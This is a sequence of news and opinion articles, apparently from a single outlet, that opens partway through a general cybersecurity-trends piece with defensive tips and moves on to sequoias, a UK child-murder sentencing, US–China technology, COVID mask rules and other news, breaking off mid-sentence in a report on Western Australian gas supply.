connected devices make our lives easier, and when not properly configured and secured, they could also leak our sensitive data to the bad guys. In 2020, an IoT botnet employed vulnerable access control systems in office buildings. As a result, someone accessing the building by swiping a keycard may be ignorant that the system has been infected. 4. Password Compromise A security survey conducted by Google revealed that about 52 percent of people reuse passwords across different sites. It means a cybercriminal can successfully access all accounts by breaching a single account. As a result, password attacks remain a top attack vector for most organizations. In the same survey, 42 percent of the people ticked security breaches due to a password compromise. A notable example was a list of leaked passwords found on a hacker forum. It was said to be the most extensive collection of all time. About 100GB text file which includes 8.4 billion passwords collated from past data breaches. You can type your details in https://haveibeenpwned.com/ to know if your email or password has been breached. 5. Identity Theft Cases of Theft doubled from 2019 to 2020 based on a report by the Federal Trade Commission of the United States. The commission received around 1.400.000 cases. Most cases include threat actors targeting individuals affected by the pandemic financially. Cybercriminals also leveraged the unemployment benefits reserved for those affected by the pandemic. The fraudsters claimed these benefits using information stolen from thousands of people. Suppose we merge this with what recently occurred on Facebook and Linkedin, where users data were scraped off public APIs by malicious actors. In that case, one could imagine how privacy is becoming a subject of concern for both individuals and companies. 6. Insider Threat Insider Threat is a form of attack that is not as popular as others yet affects both small and big businesses. Anyone familiar with a companys internal operations and structure can be a suspect. A Verizon report of 2019 revealed about 57 percent of database breaches are caused by insiders. One of the best approaches to limiting the impact of this threat is restricting the privileges of staff to critical areas. What Are the Lessons From the Biggest Cyberattack? The attacks mentioned above and others have consequences and lessons to avoid a repeat. Lets explore some of them: 1. Theres Nothing New About the Threats There was a similar attack like Wannacry, which affected Sony in 2014. With regular patching and firewall, organizations can still prevent infiltration or exploitation. Interestingly, the actual patch of the vulnerability exploited by Wannacry was released two months before the event, but many organizations failed to patch it. Those who did not patch had their critical infrastructures impacted by the attacks. 2. Several Organizations Are Unbelievably Vulnerable NotPetya cyberthreat exploited Microsoft vulnerability (SMB-1) by targeting businesses that failed to patch. As a result, organizations have to develop cyber-resilience against attacks by constantly downloading and installing patches across their systems. 3. Prioritize Data Backup Even if you lose your critical data to a ransomware attack, a backup will help you keep your operations running. Therefore, organizations must back up their data outside of the network. 4. Develop an Incident Response Plan Proactive response to incidents and reporting enabled most companies to halt the spread of Wannacry even before the incident. Regulators expect companies to issue warnings within 72 hours or get penalized. 5. Paying Ransom Only Create an Opportunity for More Attacks While it is easier to pay the ransom with the expectation of having your files restored, as long as the communication link is maintained, the threat actors will always come back. Also, it is like empowering them to continue the chain of attacks. What Would Cyberattacks Look Like in the Future? Cybersecurity experts predicted the financial damages caused by cyber threats to reach $6 trillion by the end of 2021. Cyber Attack incidents are also expected to occur every 11 seconds in 2021. It was 19 seconds in 2019 and 40 seconds in 2016. In the future, we would have cyberattacks possibly happening every second. As a result, we would see a surge in frequency and significant financial damages to victims. Deepfake and Synthetic Voices Deepfake trended in 2019 as threat actors innovate means of improving their tools and technologies for malicious and entertaining purposes such as illegal pornography featuring. In the future, cybercriminals will call into customer call centers leveraging synthetic voices to decipher whether organizations have the tools and technologies to detect their operations. One of the major sectors that will be targeted will be the banking sector. Conversational Economy Breach As companies begin to deploy voice technology and individuals adopt digital assistant technologies like Alexa and Siri, fraudsters will also not relent in discovering the potential opportunities locked up in the voice economy. According to Pin Drop Statistics, 90 voice attacks took place each minute in the United States. 1 out of 796 calls to the call center was malicious. Now that we are all migrating to Clubhouse, we should also expect voice data breaches around voice-based applications. Some challenges companies would have to deal with include protecting voice interaction, privacy concerns, and supporting call centers with tools and solutions for detecting and preventing fraud. Security Cam Video Data Breach In March 2021, Bloomberg reported a breach of surveillance camera data. The breach gave the hackers access to live feeds of over 150,000 security cameras located in companies, hospitals, prisons, police departments, and schools. Major companies that were affected include Cloudflare Inc. and Tesla Inc. Not only that, the hackers were able to view live feeds from psychiatric hospitals, womens health clinics, and offices of Verkada. These Silicon Valley Startup sourcing data led to the breach. This scenario paints a vivid picture of what a security cam video data breach looks like and the consequences- privacy breach. Apple/Google Pay Fraud Cybercriminals are utilizing stolen credit cards to purchase via Google and Apple pay. Recently, over 500, 000 former Google+ users had their data leaked to external developers. Google offered to pay US$7.5m in a settlement to address a class-action lawsuit against it. 3 Things to Do to Stay Protected If you are concerned about the growing rates at which these cyber-attacks occur, here are three important things you can do: Secure Your Hardware While it is exciting to acquire the latest equipment, securing them with the best cyber threat prevention measures is also essential. For instance, you can use a complex password and reset the default passwords established by the hardware manufacturers. After setting up a password, it is also essential to set up two-factor authentication as an additional security layer. You can also use strong endpoint security tools to secure your systems and network. Encrypt and Backup Your Data A formidable cyberthreat prevention measure incorporates two elements: Blocking access to confidential data and rendering the data useless peradventure it falls into the hand of cybercriminals. The latter can be actualized by encrypting the data. Encryption is one of the best solutions to protect against data breaches. Ensure you encrypt your customer information, employee information, and other essential business data. Educate Your Employees While banning your staff can be a security measure five years ago, the pandemic and the adoption of remote working have necessitated the bring your own device(BYOD) approach. And security has to be fashioned in the light of this new development. One best way to achieve this is to plan a simulation on detecting and avoiding phishing links and fake websites. It is also vital to foster a security culture in the workplace. For example, If you see somethingsay something. Conclusion As new technologies continue to emerge, so will the sophistication of cyberattacks be. Trends such as hackers snooping on a conversation with Siri, Alexa will increase significantly. They can manipulate IoT devices and recruit them into an army of weaponized bots to take critical assets down, or shut down smart homes and cities. Threat actors can also leverage deep fake technology and synthetic voices in social engineering and various scams. Thus, enterprises that want to stay protected always need to prioritize their peoples cybersecurity, data, and infrastructure. By Deepak Gupta The big tree (Sequoia gigantea) is natures forest masterpiece, and, so far as I know, the greatest of living things. John Muir Giant Sequoias, the worlds largest trees by volume, are found only on the western slopes of the Sierra Nevada mountains in California. These majestic trees were the impetus behind the creation of the United Statess second and third national parks: Sequoia National Park and General Grant National Park (later expanded and renamed Kings Canyon National Park). Sequoias can grow to be upwards of a 26-story building in height and over 3,000 years old. They were named Sequoiadendron giganteum, or Sequoia for short, after the Native American man, Sequoyah, who created the Cherokees system of writing. In the mid 1800s, Western settlers came across these trees and were bewildered by their grandeur. Understandably, the largest sequoias were given names of monumental American figures of that time including Lincoln, General Sherman, and General Grant, as well as a sequoia known only as the President. One of the largest tree stumps in the world is known as the Mark Twain Tree. Embodying the American spirit of adventure and storytelling, the Mark Twain Tree was cut down and sent off in cross sections to be displayed in museums in New York and London. Although the parks were created to stop logging, the Mark Twain Tree was cut down, right or wrong, to showcase these wonders of the world and educate the public. Standing before a cross section and looking at its many rings, we are offered a different perspective on the age and incredible scale of these ancient specimens. Along with photographs from the American West, displays like these added considerably to the national identity. The Largest Tree in the World Sequoia National Park is home to the largest tree in the world, which stands 275 feet high with a volume of 52,508 cubic feet. Though far from being the worlds tallest tree, this sequoias mass is unrivaled across the planet. Named after American Civil War General William Tecumseh Sherman, the General Sherman Tree is a highly visited feature of the National Park System. Recently, fires in the area of the Giant Forest sequoia grove made it necessary to take additional steps to protect General Sherman and other giant sequoias. General Shermans incredible 36-foot-diameter base, and nearly 103-foot circumference, was wrapped in foil up to 1015 feet high to help shield its already thick bark from potential flames. Luckily, a recent program of prescribed fires kept this massive sequoia and its neighbors protected, though, unfortunately, other groves in the surrounding Sequoia National Forest did not fare so well. This increased threat to the worlds largest tree was brought to national attention, and it was used as an opportunity to highlight controversy over its name. One periodical called for the tree to be saved and then renamed. It is true that General Shermans tactics during, and after, the Civil War were nothing short of brutal. His command oversaw the mass killing of Native Americans and the near extinction of buffalo. Critics justifiably highlight the paradox inherent in sequoias being named after a Cherokee man, while the pinnacle exemplar of the species is ironically given the name of a general who oversaw the mass slaughter, and displacement, of Native Americans. It is hard to know what the right course of action is in a situation like this. Is the answer to Americas difficult past to revise, hide, or rename everything that is challenging, or can we continue to rationally face these difficult aspects of our history without needing to destroy or rename national landmarks? Instead of canceling history, it is important to have the past inform the present to avoid making similar mistakes. It is the trees themselves that are great, regardless of any given name or historical figure with whom they are associated. The giant sequoias were here long before American colonization, and, God willing, they will remain for millennia to come. In Shakespeares famous words, That which we call a rose, by any other name would smell as sweet. Protecting the Trees On September 25, 1890, Sequoia National Park was created by President Harrison to protect sequoias from private industry. General Grant National Park was created one week later to protect additional groves in the area. Expanded and renamed Kings Canyon National Park in 1940, the park is home to the second largest tree in the world, the General Grant Tree. Named after President of the United States, and General, Ulysses S. Grant, the tree stands 268 feet tall with a volume of 46,608 cubic feet. President Grant established the National Park Service. This act alone makes it fitting that a giant sequoia is named in his honor. Grant famously oversaw the end of the Civil War at Appomattox, where, on April 9, 1865, a peace agreement was signed with General Lee and no prisoners of war were taken. In 1868, Grant was elected president of a nation still deeply wounded by domestic bloodshed. President Eisenhower made the General Grant Tree a national shrine in 1956 to honor all those who have lost their lives serving our country. It is the only living shrine in the United States. The General Grant Tree was also designated as the Nations Christmas Tree on April 28, 1926, by President Calvin Coolidge. Annual gatherings were held around the tree. Colonel John White, Park Superintendent at the time, beautifully described the feeling inspired by the great sequoia when he said: We are gathered here around a tree that is worthy of representing the spirit of America on Christmas Day. That spirit is best expressed in the plain things of life, the love of the family circle and the simple life of the outdoors. The tree is a pillar that is a testimony that things of the spirit transcend those of the flesh. Natures Mightiest Survivors Everyone who stands at the base of a mighty sequoia for the first time is changed by the experience. These gigantic trees, thousands of years in the making, command a feeling of great reverence. Their presence is felt in the stillness and peace of their groves. While recent fires have threatened and taken the lives of many sequoias, others have survived through many flames long since extinguished. Sequoias are some of natures best survivors. They have a very thick skin, so to speak, with bark that can be up to 1.5 feet thick, shielding the living tissue underneath. Fire plays an essential role in the growth of sequoias and the health of the forest. Through fire comes renewal and the opportunity for new sequoias to plant and have the sunlight to grow. Fire clears out natural buildup on the forest floor, making way for new life. Fire severity increases in potential when small fires are prevented from doing this necessary work. Native Americans managed the forest with fire, and the National Park Service has learned to do the same with controlled, prescribed burns. Sequoia seeds successfully grow into seedlings thanks to the mineral soil cleared, and enriched, by fire. We can strive to protect these beautiful trees out of genuine love, or attachment, but we dont own nature, and whether we like it or not, we arent in control of its cycles. 2014 marked the most severe drought in 122 years, but that does not mean it is wholly unnatural, or man-made. Humanity negatively impacts nature in a myriad of ways, but it is part of the deception of our time to assume that we are to blame for most of the frightening occurrences, or extreme events, that happen in nature. The evidence is written in the rings of trees that were here long before us. Giant sequoias have survived as long as they have because they have learned to live through, and grow from, adversity. They are known as a pioneer species because they are among the first to take root after a fire occurs. There is a humbling and regenerative wisdom amongst these trees that seems to calmly, yet powerfully, whisper, This too shall pass. Edwin Markham, American poet of the 19th and 20th centuries, wrote: The sequoias belong to the silences of the millenniums. Many of them have seen a hundred human generations rise, give off their little clamors and perish. They seem indeed to be forms of immortality standing here among the transitory shapes of time. This article was originally published in American Essence magazine. Undated photo of 16-month-old Star Hobson who died from "utterly catastrophic" injuries at her home in Keighley, West Yorkshire in September 2020. (West Yorkshire Police/Handout via PA)) UK Woman Jailed for Life Over Murder of Girlfriends Toddler A woman convicted of murdering her partners 16-month-old toddler has been jailed for life in England. Savannah Brockhill, a 28-year-old bouncer and security guard who abused toddler Star Hobson for months before she died from utterly catastrophic and unsurvivable injures, was found guilty of murder on Tuesday and handed a life sentence on Wednesday with a minimum prison term of 25 years. Hobsons mother, 20-year-old Frankie Smith, was cleared of murder, given an eight-year sentence for causing or allowing her daughters death. The killing of Hobson and details of how she was subjected to months of assaults and psychological harm have caused an outcry, especially as the trial came so soon after the case of murdered six-year-old Arthur Labinjo-Hughes by his father and stepmother. Hobsons great-grandfather, David Fawcett, has led the questioning over why social services and police did not act despite five different family members and friends raising concerns with the authorities in the eight months before she died. Undated photos of Savannah Brockhill (L) and Frankie Smith. (West Yorkshire Police/PA) Sentencing Brockhill and Smith, Justice Christina Lambert said that Hobsons short life was marked by neglect, cruelty, and injury. She said the fatal punch or kick to Hobson caused the toddler to lose half the blood in her body and damaged her internal organs. The level of force required to inflict these injuries must have been massivesimilar to those forces associated with a road traffic accident, she said, adding the violent attack wasnt an isolated event. The judge said the toddler was also found to have suffered two brain injuries, numerous rib fractures, the fracture and refracture of her leg, and a skull fracture. She was also treated with, at best, callous indifference by you both and, on many occasions, with frank cruelty. The judge pointed to footage shown many times during the trial of Hobson clearly desperately in need of sleep falling off her chair and dangerously hitting her head on the floor. She said both defendants filmed the incident and you both found this funny. The judge told Smith she was a rather immature and impressionable girl, who became obsessed by Brockhill, and that Hobson had been caught up in the crossfire of their relationship. She said she took into account that Smith had lost her daughter, but said she played a role in her death by allowing that death. Hobsons great-grandfather Fawcett previously said his partner Anita Smith contacted social workers in May 2020 after hearing from family members that Brockhill was slam-choking the toddlerlifting her by the throat and throwing her on a bedand threatening to shave off her hair, but social workers were convinced the claim was just malicious gossip and closed the case. Smiths friend Holly Jones, Hobsons father Jordan Hobson, an unnamed friend of Smiths mother, and Hobsons great-grandfather Frank Smith also contacted social services raising concerns about the toddlers safety, the trial heard, but Brockhill and Smith had convinced social workers every time that bruising on Hobson was accidental or the complaints were made maliciously by friends and family who did not like their relationship. PA contributed to this report. UNCs Department of Pediatrics Removes CRT-Related Documents After Physicians Criticism After criticism from a physician, the University of North Carolina (UNC) School of Medicines Pediatric Department has removed a statement supporting a critical-race-theory (CRT) activist, as well as a document promoting the concept of gender fluidity in children. The Pediatric Diversity and Inclusion Committee (PDIC) said in the removed statement that it stands in solidarity with Nikole Hannah-Jones, and disagreed with the UNC Board of Trustees decision to decline her tenure, citing her work as a model for future generations. Hannah-Jones, the author of the 1619 Project, had been offered a position at UNCs school of journalism in Chapel Hill under a five-year contract, but was denied tenure, a decision that erupted in controversy for the school. UNCs Hussman School of Journalism later offered her tenure after protests, but Jones took a position at Howard University in Washington, D.C., instead. In the 1619 Project, Hannah-Jones frames historical events with a lens of racist motives, such as arguing that the Founding Fathers sought independence from the British to protect slavery and that Americas version of slavery was new to history, views that fall within CRT. Though CRT is a quasi-Marxist philosophy that defines society as a class struggle between the oppressors and the oppressed, specifically labeling white people as the oppressors and all other races as the oppressed, the phrase has come to encompass for many teachers and parents a more expansive trend that incorporates not only issues of race but themes of sexuality. The other removed documents were the Genderbread Person & Pronoun Cards that use the traditional gingerbread man to diagram a theory of gender fluidity. According to its creator Sam Killermann on his website itspronouncedmetrosexual.com, Gender isnt binary. Its not either/or. In many cases, its both/and. A bit of this, a dash of that. This tasty little guide is meant to be an appetizer for gender understanding. Its okay if youre hungry for more after reading it. In fact, thats the idea. We Only Cared About Getting People Better Dr. Nancy Andersen was a general surgery resident at UNC from 2003 to 2010, she told The Epoch Times, which required rotation to the UNC pediatric department, and eventually completed her residency and became board certified. During that time, she said, people were judged on their abilities, not their ideologies. When I trained there, I had no idea who was a Republican or a Democrat, Andersen said. We only cared about getting people better. As it has in kindergarten through 12-grade public school systems, Andersen said the medical community has adopted CRT, and many doctors are afraid to speak out. They are forced into diversity training that claims systematic racism in everything and UNC is leading the charge, Andersen said. Whether Hannah-Jones should have gotten tenure or not isnt an issue the school of pediatrics should be weighing in on, Andersen said, especially for a public university. If these medical physicians wanted to go out in a private practice not funded by federal and state tax dollars, go for it, Andersen said. Thats First Amendment rights. However, the 1619 Project has no relationship with the medical treatment of children, Andersen said. According to the North Carolina Human Resources Act, taxpayer-funded employees shouldnt participate in political activity while working for the state. As a physician, I have a problem with using medical titles to promote political activism and political statements in the community because its disingenuous, Andersen said. Medical physicians should have a sense of professional thought and consideration knowing that others may think differently. The Genderbread Conflation Andersen contacted Dr. Stephanie Davis, chair of the department of pediatrics, asking about the statement on Hannah-Jones as well as The Genderbread Person. Why would the UNC pediatrics department use an innocent symbol associated with holiday cheer and childhood happiness to conflate serious sexual issues for children? she asked. Andersen, now a stay-at-home mother and volunteer with No Left Turn in Education and Education First Alliancetwo organizations that investigate CRT ideologies in the K-12 public school system in North Carolinatold Davis that The Genderbread Person has been used in first and second-grade classrooms for children who have no idea how to interpret biology and sex at that age. In an email, Davis responded to Andersen, saying, We have removed the concerns you outline below from our website. Andersen said she offered to share her research on what is being taught to children in the name of diversity, equity, and inclusion (DEI), but got no response. This is exactly the problem: They claim inclusivity but are obviously not inclusive, Andersen said. Andersen also emailed Dr. Stuart Gold, the vice-chair of Pediatrics for Diversity and Patient Engagement, addressing the same concerns. Gold responded stating that the department tries not be political, but that will be seen by different people differently. If this isnt politically based, Andersen asked, then why would the pediatric diversity committee not put out a statement about the racially charged mass murder in Waukesha (Wisconsin) that included the death of an eight-year-old boy, who you would think a pediatric department would care about? Andersen is referring to Jackson Sparks, who passed away in the intensive care unit (ICU) after the suspect drove an SUV through a Christmas parade in Wisconsin on Nov. 21, killing six and injuring up to 60 people. The suspect, Darrell Brooks, was initially charged with five counts of intentional homicide. In an email to the North Carolina House Standing Committee after the links to the documents were deactivated, Andersen said she has received no notification as to what their policies will be going forward. This is a serious issue, not just an isolated event for the department of pediatrics DEI committee, Andersen said, adding that she wanted the committee to investigate the funding for the DEI projects at UNC. Progressive Bubbles Many doctors, Andersen said, have gotten into progressive bubbles and forgotten that they arent experts on every subject. I think a lot of people are afraid to stand up to them lest they get called racist, homophobic, transphobic, or something like that, Andersen said. Doctors should not be using their MDs (doctor of medicine degree) to bully people this way, Andersen said. The physician, Andersen said, should be focused on diagnosis and treatment, not ideologies. Do you want an airline pilot who knows what they are doing or an airline pilot who is politically correct? Andersen asked. Gold and Davis did not respond immediately for comment. US Funds and Technology Fuel Chinas Advanced Weapons Systems News Analysis China has been able to accelerate the technological capabilities of its military, the Peoples Liberation Army (PLA), by stealing U.S. technology, accessing U.S. capital markets, and courting American investors. The U.S. defense community has been very concerned over the PLAs recent test of hypersonic missiles. These technologically advanced weapons have capabilities, making them extremely difficult to defend against. They are also expensive, at over $105 million per missile. Beijings high-tech weapons arsenalsuch as satellites, magnetic rail guns, nuclear and hypersonic armsis very expensive, which is why 41 percent of Chinas $252 billion defense budget is spent on research and development. Part of the PLAs R&D cost is defrayed by stealing U.S. technology. And some of the technology is purchased from American developers, using funds from U.S. investors. For example, China Aerodynamics Research and Development Center (CARDC), a hypersonic test facility, relies on a super computer that uses American chip technology. By listing on U.S. exchanges and gaining access to American capital markets, the Chinese Communist Party (CCP) benefits from the deep pockets of American investors to fund its development projects. At present, 248 Chinese companies are listed on the three largest U.S. exchanges, with a total market value of $2.1 trillion. Eight of those companies are state-owned enterprises. A much larger percentage have significant state-ownership or are owned by state-owned companies. About half of them use a variable interest entity (VIE), a Cayman Island shell company, to list on U.S. exchanges, so the true owners are not known. Other firms, such as Weibo Corporation, are not state-owned, but act on CCP orders to carry out operations, including surveillance. The Biden administration has announced that it will maintain Trump-era bans on U.S. investment in firms that have ties to the Chinese military. Under the regulations, American companies and citizens are barred from buying or selling shares in restricted Chinese companies, including top chipmakers, oil producers, and tech companies. The tech companies have become a particular threat, as they are helping China develop its quantum computing capabilities. Under the rules implemented by the U.S. Securities and Exchange Commission (SEC) in May, Chinese companies wishing to list on U.S. exchanges must disclose if they are owned or controlled by Beijing. These new rules extend to Chinese companies, listing in the United States, under VIEs. This structure is often used by tech firms because, under Chinese law, they cannot have foreign ownership. Thus, Chinese tech companies form shell companies that are registered in the Cayman Islands, and those shell companies list on U.S. exchanges. Under the new SEC rules, more than 200 firms could be delisted. Chinese companies involved in quantum computing, as well as manufacturing memory chips and navigation chips, are among the businesses that have been added to the U.S. blacklist. The U.S. entity list contains the names of Chinese companies, most of them state-owned, that Washington wants to block from obtaining U.S. intellectual property (IP) and defense technology. The Trump administration put numerous Chinese firms on the list and the Biden administration has added dozens more. Along with the direct threat posed by funding Chinese companies, which increase the military capabilities of a belligerent state, Chinese law effectively turns every company and citizen into an agent. Under the national security law, national intelligence law, and the national cyber security law, citizens and entities are obligated to aid the CCP in intelligence gathering. This includes stealing IP. One of the primary reasons for the U.S.-China trade war is Chinas theft of U.S. intellectual property. In a survey of the CNBC Global CFO Council, nearly a third of North American companies said that China had stolen IP from them in the past decade. As of 2020, the FBI had more than 1,000 cases open, regarding IP theft by entities with ties to the CCP. William Evanina, director of the National Counterintelligence and Security Center (NCSC), estimated the value of Chinas theft at $500 billion per year. The U.S. Department of Justice has stated that the Chinese regime is the primary culprit in roughly 80 percent of its industrial espionage investigations. This wanted posterfive Chinese military officials charged with economic espionage and trade secret theftis displayed at the Justice Department in Washington on May 19, 2014. (AP Photo) Legal and illegal acquisition of U.S. technology, combined with state subsidies, are driving Chinese technological advancement, including in the field of advanced weaponry. From an economic standpoint, stealing technology alleviates China of having to pay hundreds of millions of dollars for research and development. This puts Chinese companies in a position to undercut their U.S. competitors. From a defense standpoint, China stealing U.S. technology means that, in the event of a war, the U.S. military would be facing its own weapons, and that the PLA would know the capabilities and vulnerabilities of U.S. hardware and defense systems. The United States has some export controls, preventing certain technologies and equipment being sold to certain foreign entities. The ban on U.S. exports to China includes U.S. origin itemscomponents that could be used in military hardware. However, U.S. companies can circumvent these rules by directly investing in these technologies in China. It is much harder for a democracy, like the United States, to curtail the behavior of citizens, than it is for the CCP. Consequently, U.S. investors, determined to invest in China directly, are free to do so. According to U.S. trade officials, Washington will most likely not crack down on or increase scrutiny of U.S. outbound investment. Along with investments in defense technology, Beijing is also working to control defense-critical raw materials. The Biden administration has warned that China is trying to control world cobalt markets, depriving the United States and other countries of a key element that is necessary for electric weapons and vehicles. President Joe Bidens son, Hunter Biden, was instrumental in aiding the CCP in purchasing $3.8 billion of cobalt. Hunters company, BHR, formally named Bohai Harvest RST (Shanghai) Equity Investment Fund Management Company, partnered with Chinese state-owned firms to purchase cobalt from the Democratic Republic of Congo. Bohai also helped a Chinese defense conglomerate purchase a U.S. auto parts maker. U.S. lawmakers are working to restrict the flow of technology and money to the CCP. But each law is merely a band-aid solution for a very large problem. Working together with U.S. allies on a combined program of reshoring domestic manufacturing, restricting investment in China, as well as restricting Beijings access to Western capital markets, would deprive the Chinese regime of the opportunity to steal or acquire technology from the West, as well as inhibit its ability to invest in research and development. Additionally, it would create incentives for the United States and Western nations to redirect their supply chains away from China and to expand their own manufacturing base. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Deputy Secretary of Defense Kathleen H. Hicks speaks with Space Training and Readiness Command Deputy Commander Brig. Gen. Todd Moore during a recent trip to Schriever Space Force Base, Colo., on Dec. 13, 2021. (DoD/U.S. Air Force Staff Sgt. Brittany A. Chase) US Space Force Holds War Game to Test Satellite Network Under Attack PETERSON SPACE FORCE BASE, Colo.The United States is testing satellite resiliency to threats from China and Russia miles above the earths surface, just weeks after Russia shot down an aging communications satellite. The computer-aided simulations included potential shooting down of U.S. missile-tracking satellites, satellite jamming, and other electronic warfare effects that are possible tactics in space warfare. Actual satellites are not used. During a visit to Schriever Space Force Base in Colorado, Deputy Secretary of Defense Kathleen Hicks saw the Space Flag simulated space training exercise hosted by U.S. forces. It was the 13th such exercise, and the third to involve partners such as Britain, Canada, and Australia. It happens in rooms like that people at a relatively junior level in many cases. Collaborating and thinking through challenges and trying to figure out concepts that seem to make sense and discarding ideas that go astray, Hicks told reporters en route to Hawaii. Pentagon leaders are touring U.S. bases this week while the Biden administrations draft 2023 budget takes shape. The Department of Defense hopes to move budget dollars toward a military that can deter China and Russia. After Russia successfully conducted an anti-satellite missile test last month, U.S. officials believe there is an increasing need to make the U.S. satellite network resilient to attack and to use opportunities like Space Flag to train. Satellites are vital to military communications, global positioning navigation, and timing systems that are needed in the event of war. The 10-day-long space war game attempts to simulate the cutting edge of the U.S. capability in space. The training exercise involved an adversarial group working to simulate an aggressor nation with space capabilities like Russia or China. Russia is not the first country to conduct anti-satellite tests in space. The United States performed the first in 1959, when satellites were rare and new. In Hawaii, Hicks will meet with Pacific military commanders and visit Red Hill Bulk Fuel Storage Facility at Joint Base Pearl Harbor-Hickam where she will hear about water contamination issues. By Mike Stone San Francisco Mayor London Breed speaks during a news conference outside of Zuckerberg San Francisco General Hospital in San Francisco, Calif., on March 17, 2021. (Justin Sullivan/Getty Images) Vaccinated Offices and Gyms in San Francisco Are Exempt From California Mask Mandate: Officials San Francisco offices and gyms where everyone is vaccinated wont have to follow Californias reimpose mask mandate, according to the citys health department. This means that stable cohorts of 100 percent fully vaccinated people in settings like workspaces and gyms will continue to be allowed to remove masks, the San Francisco Department of Public Health said in a statement. The officials added that the caveat acknowledges the hard work of the people of San Francisco throughout the pandemic, including the ways in which we have maintained reasonable protections heading into the holiday season, health officials added. San Francisco Health Officer Susan Philip said the California Department of Public Health granted a mask exemption, describing the move as the recognition of all of the thought and care that San Francisco residents have been putting into all staying as safe as possible. Contra Costa and Marin counties, located near San Francisco, told the Chronicle on Tuesday that they will also receive exemptions to the statewide masking order. It came after California Gov. Gavin Newsom, a Democrat, said Monday he would reimpose an indoor mask mandate regardless of ones vaccination status. Some companies, including Cupertino-based Apple Inc., have recently made their own decisions to mandate masks. Amid rising cases in many communities, we now require that all customers join our team members in wearing masks while visiting our stores, the company wrote on Tuesday. On Tuesday evening, the Los Angeles Unified School District board agreed to delay enforcement of its student COVID-19 vaccine mandate from Jan. 10, 2022, until the fall of next year. Los Angeles Superintendent Megan K. Reilly presented a plan last week to push back the deadline, citing concerns that some 28,000 students have not complied with the mandate. Those students, under the old order, would be barred from learning in person and would have to participate in independent study programs. We have not come to this conclusion lightly, Reilly, who is slated to be replaced by Alberto Carvalho, said before the vote on Tuesday. She said that 87 percent of eligible students are either fully or partially vaccinated. The conditions that the board is facing today, and the policy adjustments are not, in my opinion, a reversal of decisions made, Carvalho said Tuesday, adding that the vote is an evolution of the previous board position. Like New York City, Los Angeles, and now Philadelphia, San Francisco earlier this year mandated that people entering restaurants, gyms, and similar venues have to show proof of vaccination before entering. COVID-19 is the illness caused by the CCP (Chinese Communist Party) virus. Vietnamese Human Rights Activist Jailed for Nine Years Vietnamese journalist and human rights activist Pham Doan Trang was sentenced to nine years in prison by a Hanoi court on Tuesday over her conviction of conducting propaganda against the state. In their verdict, the judges ruled that Trangs actions were harmful to society because she had acted with the intention of violating the socialist regime and that she should face harsher punishment. It was such a long sentence, close to the maximum term for such activities, one of her lawyers, Nguyen Van Mieng, said Trang did not plead guilty at the trial but that they would later discuss a possible appeal. Trang, who published material widely on human rights and alleged police brutality in Vietnam, wrote to Human Rights Watch before her trial that the government of Vietnam had responded in a heinous manner to citizens who wrote unpleasant things about the government. The longer the prison sentence, the more demonstrable the authoritarian, undemocratic, and anti-democratic nature of the Socialist Republic of Vietnam, the activist stated. Trang, 43, was arrested in Ho Chi Minh City just hours after an annual human rights dialogue between the United States and Vietnam last year, and subsequently transported to Hanoi. According to Human Rights Watch, Trang was detained for more than a year in pretrial detention after being charged for propagandizing against the socialist of Vietnam without having access to a lawyer. It claimed that Trang has been frequently persecuted, harassed, and physically assaulted by the security forces, citing her arrest in 2009, where she was detained for nine days due to national security reasons. In May 2016, police detained and prevented Trang from attending a meeting with then-President Barack Obama, who had invited her to join him at an activists forum. Two years later, she was detained after meeting a European delegation that was preparing for an annual EU-Vietnam human rights dialogue. Robertson, Deputy Asia director at Human Rights Watch, said in a statement that the prosecution of Trang showed how fearful they [the Vietnamese authorities] are of popular, critical voices. The United States also condemned the sentencing of Trang and called for her release. State Department spokesperson Ned Price said in a statement that Trangs detention was a contravention of Vietnams international human rights commitments and obligations. The United States calls on the Vietnamese government to release Trang, who has been recognized internationally for her work to advance human rights and good governance in Vietnam, and to allow all individuals in Vietnam to express their views freely and without fear of retaliation, Price said. Reuters contributed to this report. Virus Case Cuts Short Blinkens Tour of Southeast Asia KUALA LUMPUR, MalaysiaA positive COVID-19 test among U.S. Secretary of State Blinkens traveling party has cut short the top diplomats first official tour of Southeast Asia. A member of the press corps accompanying Blinken on what was to have been a three-nation visit to Indonesia, Malaysia, and Thailand tested positive for the coronavirus on Wednesday in Kuala Lumpur, forcing Blinken to abandon the program at his next and last stop in Bangkok, and return to the United States. Instead of spending Wednesday night in Bangkok, the State Department said Blinken would fly to the Thai capital for a very brief logistical layover before traveling to Guam to refuel and then continuing on to Hawaii. The abrupt change in plan was caused in part by fears that others in the delegation might also test positive, requiring them to quarantine in Thailand over the Christmas holiday. The journalist who tested positive will stay in Kuala Lumpur for a mandatory 10-day isolation. U.S. State Department spokesman Ned Price said Blinken spoke with Thai Foreign Minister Don Pramudwinai to explain the change of plans. The secretary expressed his deep regret to the FM that he would not be able to visit Bangkok this week. He explained that in order to mitigate the risk of the spread of COVID-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with the secretary would be returning to Washington, D.C. out of an abundance of caution, Price said. Neither Blinken, any of his senior staff nor other members of the press corps have tested positive so far, according to Price. In a statement posted online, the U.S Embassy in Kuala Lumpur said it informed the Malaysian government of the virus case and thanked the Malaysian authorities for their support. The sole member of the traveling party who tested positive is observing all requirements of the Ministry of Health, the embassy said. We can confirm that the person was not involved and has not participated in any of Secretary Blinkens program in Kuala Lumpur. Blinken arrived in Kuala Lumpur late Tuesday from Jakarta, Indonesia, and still plans to make his final stop in Bangkok, Thailand, later Wednesday. He began his current journey in the English city of Liverpool, where he participated in a Group of Seven foreign ministers meeting over the weekend. The State Department has been testing those on Blinkens plane for the virus on a daily basis and Price said the journalist had tested negative in both Liverpool and Jakarta. Safety at the Woodside-operated North West Shelf Gas Venture near Karratha in the north of Western Australia on Jun. 17, 2008. (Greg Wood/AFP via Getty Images) Western Australia Needs New Gas to Address Impending Shortfall: Market Operator Western Australia (WA) will need to start developing new sources of gas very soon to avoid a deficit in the next few years, Australias energy monitor has said. Meanwhile, similar concerns are brewing nationwide. The Australian Energy Market Operators (AEMO) annual gas outlook for WA has projected a gap in supply between 2025 and 2027, with concerns alleviated after 2027 following the completion of Woodside Energys Scarborough gas project. The upcoming gas supply imbalance has been caused by growing demand in the mining sector, combined with the retirement of two out of four units in the Muja coal-fired power station, with renewables only partially replacing the loss. Woodsides Goodyn A offshore gas production platform in the North West Shelf gas project, Australia on Jan. 1, 2001. (-/AFP via Getty Images) To address the issue, the AEMO has suggested the development of available gas fields, such as Corvus and 